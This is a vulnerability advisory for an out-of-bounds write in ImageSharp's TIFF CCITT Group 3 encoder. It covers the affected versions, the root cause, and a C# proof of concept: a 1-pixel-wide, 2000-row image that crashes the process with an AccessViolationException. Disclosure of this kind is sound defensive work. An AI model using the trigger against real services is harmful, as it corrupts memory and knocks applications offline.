CVE-2026-106110 — Vulnerability in SixLabors.ImageSharp — CVE Details

### Summary ImageSharp's TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process. This report concerns only the T4 `CcittGroup3Fax` encoder path. It replaces the prior, unrelated ICC content. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. The T4 encoder and its undersized buffer calculation first shipped in v2.0.0. The narrow-image exploit terminates published v2.0.0 and v4.1.1 while the same-height 64-pixel control succeeds on both. Every release through v4.1.1 retains the vulnerable allocation and unchecked bit-write structure. ### Preconditions and impact The affected path is reached when the application encodes 1-bit image data with `TiffCompression.CcittGroup3Fax`. This can happen when an application explicitly selects `TiffEncoder.BitsPerPixel = Bit1` and `TiffEncoder.Compression = CcittGroup3Fax`. It can also occur when an application decodes a TIFF and re-encodes it using the default `TiffEncoder`, because ImageSharp retains TIFF frame metadata including the compression and bit depth. `TiffCompressorFactory` creates `T4BitCompressor` for `CcittGroup3Fax`. `TiffCcittCompressor.Initialize` allocates `Width * rowsPerStrip` bytes, but non-modified T4 writes a 12-bit EOL before row data and an additional 12-bit EOL per row. `WriteCode` calls `BitWriterUtils.WriteBit` and `WriteZeroBit`, both of which use `Unsafe.Add` without a capacity check. Thus the encoded bit stream can exceed the allocated span. A 1-pixel-wide, 2000-row alternating bilevel image caused a fatal `System.AccessViolationException` during T4 compression. This is a memory-corruption and availability issue for applications that expose this encoding flow to attacker-controlled input. ### Tested environment - Package binary: NuGet `SixLabors.ImageSharp` **4.1.1** - Target framework: `net8.0` - Runtime: .NET 8.0.30; SDK 8.0.424 - Operating system: Debian GNU/Linux 12 (bookworm), Linux arm64, Docker No active exploitation is known. ### Reproduction In a `net8.0` project that references the published `SixLabors.ImageSharp` 4.1.1 binary, save the following as `Program.cs`. Run `dotnet run -- exploit 2000` for the trigger and `dotnet run -- control 2000` for the control. ```csharp using System; using System.IO; using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats.Tiff; using SixLabors.ImageSharp.Formats.Tiff.Constants; using SixLabors.ImageSharp.PixelFormats; string mode = args.Length > 0 ? args[0] : "exploit"; int width = mode == "control" ? 64 : 1; int height = args.Length > 1 ? int.Parse(args[1]) : 2000; Console.WriteLine($"mode={mode} width={width} height={height}"); using var image = new Image<L8>(width, height); for (int y = 0; y < image.Height; y++) for (int x = 0; x < image.Width; x++) image[x, y] = new L8((byte)(((x + y) & 1) == 0 ? 255 : 0)); var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata(); metadata.BitsPerPixel = TiffBitsPerPixel.Bit1; metadata.Compression = TiffCompression.CcittGroup3Fax; using var output = new MemoryStream(); image.Save(output, new TiffEncoder()); Console.WriteLine($"Encoded OK: {output.Length} bytes"); ``` Against the published 4.1.1 package, this produced: ```text mode=exploit width=1 height=2000 Fatal error. System.AccessViolationException: Attempted to read or write protected memory. at ...TiffCcittCompressor.GetWhiteTermCode(...) at ...T4BitCompressor.CompressStrip(...) ``` A 64-pixel-wide, 2000-row control using the same Group 3 metadata completed successfully: ```text mode=control width=64 height=2000 Encoded OK: 76230 bytes ``` The direct public configuration path also triggers with: ```csharp new TiffEncoder { BitsPerPixel = TiffBitsPerPixel.Bit1, Compression = TiffCompression.CcittGroup3Fax }; ```